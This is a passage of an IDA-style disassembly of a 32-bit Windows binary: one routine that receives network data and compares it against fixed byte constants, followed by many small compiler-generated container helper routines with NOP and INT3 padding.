		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_421872
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_421872
		push	10h
		push	offset loc_443DE4
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421841
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421841:				; CODE XREF: ___:0042181Ej
		push	10h
		push	offset dword_443DF8
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421872:				; CODE XREF: ___:0042178Bj
					; ___:004217A6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_421879:				; CODE XREF: ___:0042172Ej
					; ___:00421737j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421920	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421920	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421960	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_421960	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219A0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4219A0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_4014D8j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EBF
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40196Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EBF
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421A80	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_421A80	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AC0	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AE0	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B00	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421B60	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421B60	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BA0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421BA0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D75
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_4013EDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D75
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421C80	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421C80	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CC0	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CE0	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421CE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D00	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D60	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421D60	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D84
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E00	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421E00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EBF
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EA0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421EFA


loc_421EB8:				; CODE XREF: sub_421EA0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421EB8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421EFA:				; CODE XREF: sub_421EA0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EA0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F30	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421F30	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F45
		mov	edi, esi


loc_421F45:				; CODE XREF: ___:00421F41j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421F5A
		mov	edi, esi


loc_421F5A:				; CODE XREF: ___:00421F56j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421F80	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FA0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FC0	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421FC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FE0	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421FE0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_422000	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422060	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_422060	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D75
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422100	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_42215A


loc_422118:				; CODE XREF: sub_422100+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422118
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42215A:				; CODE XREF: sub_422100+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422100	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422190	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_422190	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221A5
		mov	edi, esi


loc_4221A5:				; CODE XREF: ___:004221A1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4221BA
		mov	edi, esi


loc_4221BA:				; CODE XREF: ___:004221B6j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_4221E0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422200	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422200	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422220	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422220	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422240	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422240	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422260	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_422260	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222C0	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_4222C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4222F0	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_4222F0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223B0	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4223B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4223D0	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4223D0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422400	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_422400	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422420	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422450	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422450	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422490	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_422490	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224C0	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_4224C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422580	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422580	endp

